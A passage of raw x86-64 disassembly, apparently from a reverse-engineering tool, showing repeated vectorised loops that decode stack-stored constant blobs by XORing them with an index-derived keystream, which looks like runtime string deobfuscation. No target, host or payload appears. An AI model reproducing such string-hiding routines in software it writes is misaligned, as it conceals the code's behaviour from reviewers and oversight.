pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x140238640
cmp eax, 0x2c
jge 0x14023885a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x2c
jl 0x140238810
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov al, 1
jmp 0x140238db9
movzx eax, word [0x140271f78]
mov word [rsp + 0x60], ax
movzx eax, byte [0x140271f7a]
mov byte [rsp + 0x62], al
movups xmm0, xmmword [0x140271f68]
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x140238aae
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x1402388f0
cmp eax, 0x13
jge 0x140238b0a
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x13
jl 0x140238ac0
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x50]
jmp 0x1402366aa
movups xmm1, xmmword [0x140271f90]
movups xmm0, xmmword [0x140271f80]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x140238daa
cmp esi, 2
jl 0x140238d59
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
movdqa xmm6, xmmword [0x140272900]
movdqa xmm7, xmmword [0x140272910]
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x20
jl 0x140238ba0
jmp 0x140238daa
lea r9, [rsp + 0x68]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x20
jl 0x140238d60
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
xor al, al
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x1f0]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140240c60
lea r11, [rsp + 0x1f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret